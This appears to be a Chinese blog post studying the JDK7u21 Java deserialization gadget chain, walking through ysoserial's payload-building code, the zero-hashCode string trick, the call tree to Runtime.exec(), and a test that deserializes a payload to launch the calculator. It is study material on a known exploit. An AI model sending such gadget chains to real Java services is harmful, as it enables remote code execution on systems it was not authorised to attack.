JDK7u21反序列链学习

虚幻大学 xuhss 302℃ 0评论

Python微信订餐小程序课程视频

https://blog.csdn.net/m0_56069948/article/details/122285951

Python实战量化交易理财系统

https://blog.csdn.net/m0_56069948/article/details/122285941

JDK7u21

1、前置知识

jdk7u21是一条不依赖CommonsCollections库依赖的,看利用链所有知识其实跟CommonsCollections也有重复,我们来学习一下以前没学过的类或者方法。环境是jdk7u17。

LinkedHashSet

首先入口是LinkedHashSet的readObject方法,LinkedHashSet是HashSet的子类,也继承了序列化接口和集合接口,但是LinkedHashSet是没有重写readObject方法的,所以LinkedHashSet调用的是HashSet的父类的readObject方法

//构造函数,可以看到是直接调用父类的方法
public LinkedHashSet(int initialCapacity) {
        super(initialCapacity, .75f, true);
}

AnnotationInvocationHandler

hashCodeImpl

这个函数就是用来计算hashCode的,具体分析可以看POC调试,

private int hashCodeImpl() {
  int var1 = 0;

  Entry var3;
  for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
    var3 = (Entry)var2.next();
  }

  return var1;
}

memberValueHashCode

这个也是用来计算hashCode,可以看到里面都是调用hashCode方法,具体作用看POC调试

4f2bfb8db009bac5b5e32705996fc562 - JDK7u21反序列链学习

equalsImpl

用来通过invoke来执行我们的恶意代码,具体看POC调试

1ca12aca7d897681749c5ff5b9feed41 - JDK7u21反序列链学习

TemplatesImpl

getOutputProperties

其实getOutputProperties就是用来调用我们的newTransformer,然后就是跟cc链一样去实例化templates造成RCE

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

2、POC分析

2.1、利用链

/*

Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.

See: https://gist.github.com/frohoff/24af7913611f8406eaf3

Call tree:

LinkedHashSet.readObject()
 LinkedHashSet.add()
 ...
 TemplatesImpl.hashCode() (X)
 LinkedHashSet.add()
 ...
 Proxy(Templates).hashCode() (X)
 AnnotationInvocationHandler.invoke() (X)
 AnnotationInvocationHandler.hashCodeImpl() (X)
 String.hashCode() (0)
 AnnotationInvocationHandler.memberValueHashCode() (X)
 TemplatesImpl.hashCode() (X)
 Proxy(Templates).equals()
 AnnotationInvocationHandler.invoke()
 AnnotationInvocationHandler.equalsImpl()
 Method.invoke()
 ...
 TemplatesImpl.getOutputProperties()
 TemplatesImpl.newTransformer()
 TemplatesImpl.getTransletInstance()
 TemplatesImpl.defineTransletClasses()
 ClassLoader.defineClass()
 Class.newInstance()
 ...
 MaliciousClass.()
 ...
 Runtime.exec()
 */

2.2、POC分析

这里使用ysoserial来分析,看看大佬是怎么构造poc的,主函数在getObject方法里

public Object getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);

        String zeroHashCodeStr = "f5a5a608";

        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
        Reflections.setFieldValue(tempHandler, "type", Templates.class);
        Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

        LinkedHashSet set = new LinkedHashSet(); // maintain order
        set.add(templates);
        set.add(proxy);

        Reflections.setFieldValue(templates, "\_auxClasses", null);
        Reflections.setFieldValue(templates, "\_class", null);

        map.put(zeroHashCodeStr, templates); // swap in real object

        return set;
    }

第一部分代码

final Object templates = Gadgets.createTemplatesImpl(command);

我们跟进createTemplatesImpl去看,判断为否,直接返回重载方法,除了命令,还传入了TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class,继续跟进

public static Object createTemplatesImpl ( final String command ) throws Exception {
  if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
    return createTemplatesImpl(
      command,
      Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
      Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
      Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
  }

  return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}

首先是第一红框实例化了我们的TemplateImpl,然后使用javassit构造一个恶意类,首先创建一个类池,把StubTransletPayload和abstTranslet的路径插入类池,然后StubTransletPayload的名字创建一个类clazz。第二个红框就是把恶意代码嵌入恶意类,然后设置名字和父类abstTranslet,然后转成字节码赋值给classBytes

6acc48e355d1ffa0119e5acde52c3ecd - JDK7u21反序列链学习

StubTransletPayload就是作者创造的一个静态类

185434c9861430be92eeb6d1f098f1af - JDK7u21反序列链学习

我接着继续看,看代码的意思反射设置属性值,跟进去看看。

bfdf209291bff56dd79fa6e80f440fb8 - JDK7u21反序列链学习

跟进来发现就是反射直射属性值,所以就是反射设置我们第一行创建的templates,然后设置属性_bytecodes、_name和_tfactor,然后就返回恶意的Templates

b75f371bd8fce35d9eb3a6acdc153d8a - JDK7u21反序列链学习

我们一个一个来看,其实前面两个在ComonsCollections链已经分析过,这里简单说明。

_name

在TemplateImpl里面的getTransletInstance,会有判断。继续进入当_class为null进入defineTransletClasses

9c0659929ad38eef5fbd1f42048fe144 - JDK7u21反序列链学习

_bytecodes

在defineTransletClasses,会有对_bytecodes判断,然后赋值给_class,返回getTransletInstance方法实例化_class。

6db15907342f87d7fdb94bcf5d5d8e1c - JDK7u21反序列链学习

_tfactor

看一个大佬的文章说是 在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory 设值,但是在jdk7u17上并未发现,也许在其他版本,这里就不深究

其实这部分代码就是为了生成一个恶意的templates

第二部分代码

这部分就是新建一个HashMap,把一个特殊的字符串(“f5a5a608”)作为map的key,看属性的命令是说空的HashCode字符串,这里不做深究,调式在具体看

String zeroHashCodeStr = "f5a5a608";

HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

第三部分代码

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

1.第一行获取AnnotationInvocationHandler的类型并且使用map作为参数,赋值给tempHandler

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);

ANN_INV_HANDLER_CLASS就是AnnotationInvocationHandler类

52ae87255c336dc2701d9fbb38f0474c - JDK7u21反序列链学习

getFirstCtor就是通过传入的名字反射获取结构体,newInstance就是通过getFirstCtor获取结果提然后根据传入的参数(map),创建一个实例

51ce177fe5b1edf2c22a7e75c7609a1c - JDK7u21反序列链学习

2.第二行反射 设置tempHandler的type的属性值为Templates.class,在getMeberMethods方法会用到

Reflections.setFieldValue(tempHandler, "type", Templates.class);

f280ada95b796cce22cf5044b59c1df1 - JDK7u21反序列链学习

3.第三行就是创建代理,我们跟进去createProxy看看

Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

进来发现其实就是把传入的tempHandler(创建了一个代理),allIface就是接口类型(Templates.class)。

6ce7643d8519784669560e27766cc985 - JDK7u21反序列链学习

第四部分代码

创建一个LinkedHashSet,LinkedHashSet在前置知识有学习过,然后再LinkedHashSet存入两个变量,一个恶意类templates,一个代理类proxy,proxy里面其实就是一个map,然后反射设置属性_auxClasses、_class,这两个都是为了在TemplateImple的getTransletInstance方法不报错的。最后就是把map的key(zeroHashCodeStr)的值设置为templates

为啥最后才设置,真的可以加入swap内存里吗,自己去调试时发现是可以的

LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);

Reflections.setFieldValue(templates, "\_auxClasses", null);
Reflections.setFieldValue(templates, "\_class", null);

map.put(zeroHashCodeStr, templates); // swap in real object

ysoserial对代码进行很好的封装,自己以后写小工具,可以多借鉴大佬的这种封装思路。

2.3、POC调试

写个测试类

package ysoserial.test.payloads;

import org.apache.xalan.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.Jdk7u21;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Jdk7u21Test {

    public static void main(String[] args) throws Exception {
        Object calc = new Jdk7u21().getObject("open /System/Applications/Calculator.app");
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.ser"));
        oos.writeObject(calc);

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.ser"));

        Object o = ois.readObject();
    }
}

首先在HashSet处打下断点,就是先判断传入的类型是什么,传入的是LinkHashMap,就会新建一个LinkHashMap赋值给map,然后进入for循环反序列赋值给e变量(恶意的TemplateImpl),然后和空的Object对象一起存入map。LinkHashSet我们存入两个对象,分别是TemplateImpl和proxy,第一遍是TemplateImpl,我们继续跟进put方法。

bb7cad92a9ebc43ecf63f9ec8379d7de - JDK7u21反序列链学习

ba05b8711874ce15b07f7dea00ef9bcf - JDK7u21反序列链学习

其实进入到Hashmap的put方法,首先判断key是否为null,然后计算key(既TemplatesImpl)的hash,hash是833788266,然后调用indexFor方法传入hash和table的长度,table就是空entry如下图,我们跟进去

45f5977359441ab27225bf7d47f61d88 - JDK7u21反序列链学习

b77ecfc215cccc8cd4940c68c83349ab - JDK7u21反序列链学习

就是把hash和length进行位与运算然后直接返回,出来put的方法

b78e8869046d1ef881b52c3dc8dc5d30 - JDK7u21反序列链学习

得出i=10,进入for循环,上边说过table是空的,所以直接越过for循环,

ada1546c7384df4d3b6a160157d0b822 - JDK7u21反序列链学习

然后就到了我们addEntry方法,传入hash、key(TemplatesImpl)、value、i(10),value是空的Object对象,我也跟进去看看

056a3c9d92fbf1deb6d9a14255953973 - JDK7u21反序列链学习

进来发现是LinkHashMap,其调用父类(HashMap)的方法,继续跟进

fca3ce8764f710764a39a9b07ab99359 - JDK7u21反序列链学习

进入HashMap的addEntry方法--》createEntry创建一个entry,并且赋值给table。

2d1d99287f7a2dce5e6541f8f98d6ad2 - JDK7u21反序列链学习

8681a7ae24b7572259aaaecf33c40236 - JDK7u21反序列链学习

然后就结束了,返回到readObject方法的第二次循环,map的key存放的是proxy,我们的代理对象(AnnotationInvocationHandler),继续跟进

30e3038122b7735c1774e0e75b612499 - JDK7u21反序列链学习

我们要进入for循环,就是这条链最精华的部分,真实让i为我们上次传入的的值一模一样,这样table[i]才不为null,e不为null才能进入循环,就是”for (Entry e = table[i]; e != null; e = e.next) “,我们继续跟进hash方法,key为Proxy,Proxy就是我们的AnnotationInvocationHandler

56b6e01151a7ac088e53f3ed5fec6002 - JDK7u21反序列链学习

进入hash方法,就是k就是proxy,所以是proxy调用了hashCode()方法,就是AnnotationInvocationHandler调用了hashCode方法,因为代理对象会调用invoke方法,继续跟进

ce636b3214f1974e1bc42fba84cb42c1 - JDK7u21反序列链学习

进入invoke方法后,会反射获取方法名(hashCode),判断是否为“equals”,负责就位根据方法名调用对象的方法,所以调用的是AnnotationInvocationHandler(this)的hashCodeImpl(),继续跟进

c44af44db2dd4973ac5b2db58f8f05bc - JDK7u21反序列链学习

进入hashCodeImpl,发现var2是一个迭代器,迭代的是memberValues

2c8c2e2c060f56a84c2c9f224fc10b4f - JDK7u21反序列链学习

this.memberValues为构造方法传入的map,(“f5a5a608”=templatesImpl)

6a34bf60614d31147b03fd265ea3de69 - JDK7u21反序列链学习

我们继续来看for里面的判断语句

var3是通过第一遍循环通过var2赋值的,就是我们传入map(“f5a5a608”=templatesImpl)

c893a623130237ded1c5de12ede17928 - JDK7u21反序列链学习

就是var3的key的hashCodevar3的value值的hash值进行位异或操作,

var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())

*127 ((String)var3.getKey()).hashCode()** 为0,因为key为f5a5a608,f5a5a608的hashCode=0,我们跟进去

570accf3dbc13f50c3b04127d9a6874c - JDK7u21反序列链学习

memberValueHashCode的参数就是templatesImpl,会调用templatesImpl的hashCode()方法,所以得到与第一循环完全一样的hashcode,我们跟进去计算一下,得到了855362136,怎跟我们算的不一样,答案是这是是hashCode,并不是hash方法,我们继续跟下去

ed1b817860e58adc03d3c99f17a5cfce - JDK7u21反序列链学习

所以使用0和templatesImpl的hashCode()进行异或运算得到就是templatesImpl的hashCode()

d3bcb106df7d2c023b07997ca6669d76 - JDK7u21反序列链学习

然后再hash方法中通过位异或运算

5f938835b109a98009753a367025d775 - JDK7u21反序列链学习

可以看到得出来的hash结果跟第一遍的833788266一样

8c911527e63d2c0a96b162515a2cf856 - JDK7u21反序列链学习

最后我们成功进入到for循环里

2019a4ea49d789e0f05a302125ed3b16 - JDK7u21反序列链学习

我们来继续看if语句,只有e.hash == hash && ((k = e.key) == key为假,才会执行key.equals(k),我们的目的执行地

首先看e.hash == hash,e.hash就是我们第一次循环的templateImpl的hash,hash就是proxy(map(“f5a5a608”=templatesImpl))的hash,为ture

(k = e.key) == key,这个肯定不一样,为false,因为k=e.key是第一遍循环传入的templateImpl,key是第二遍循环传入的proxy

所以就会执行我们的key.equals(k),就是proxy.equals(templateImpl),到了这里又不得不说夸一句作者牛!

41ccaab63e6c3f4d00cba75fc9e272b6 - JDK7u21反序列链学习

接下来我们继续跟进key.equals(k),就是proxy.equals(templateImpl),所以会进入到我们AnnotationInvocationHandler的invoke方法,

var1为代理对象,var3为TemplatesImpl

30aa1a397fcdca7d665b897c83ef1410 - JDK7u21反序列链学习

首先反射获取方法名,然后判断var4是否equals,肯定是的因为我们就是通过equals方法就来的,成功进入if,到了equalsImpl方法,参数是var3就是TemplatesImpl,就是this.equalsImpl(TemplatesImpl),继续跟进

75471cdcf0da9bd0e7e78d04b085b893 - JDK7u21反序列链学习

进入equalsImpl方法,发现var5.invoke(var1),var1就是TemplatesImpl,var5是通过var2[],var2[]是this.getMeberMethods(),我们查看一下该方法。

1ca12aca7d897681749c5ff5b9feed41 - JDK7u21反序列链学习

进入后发现this.type就是我们赋值的TemplatesImpl对象,获取的就是newTransformer和getOutputProperties.

f280ada95b796cce22cf5044b59c1df1 - JDK7u21反序列链学习

所以var2[]存的newTransformer和getOutputProperties.方法,第一遍循环拿到的是newTransformer方法

a7093c357d0bc1d993caf450995312ee - JDK7u21反序列链学习

然后通过invoke,反射执行TemplatesImpl的newTransformer方法(可以看到var6是newTransformer),实例化我们的TemplatesImpl,造成远程代码执行,后面的就不跟进去了,不懂的可以看看CommonsCollections链

9a7d7ea45cdacf8307cd6ef0a19667e5 - JDK7u21反序列链学习

但是为啥没有进入getOutputProperties方法去,虽然进去的也是调用newTransformer,两个方法,第一个就是newTransformer,直接就远程代码执行了(在getOutputProperties打断点也没有用),也许jdk不同把,有大佬有其他答案望告知。

2.4、结束

通过这次学习jdk7u21发现作者的思路真的是很巧妙,借鉴很多大佬的经验,逻辑运算很多,细节很多。接下来就去学习调试fastjson。

参考链接

https://cnblogs.com/nice0e3/p/14026849.html

https://y4er.com/post/ysoserial-jdk7u21/

https://paper.seebug.org/1224/

转载请注明:xuhss » JDK7u21反序列链学习

喜欢 (0)

您必须 登录 才能发表评论!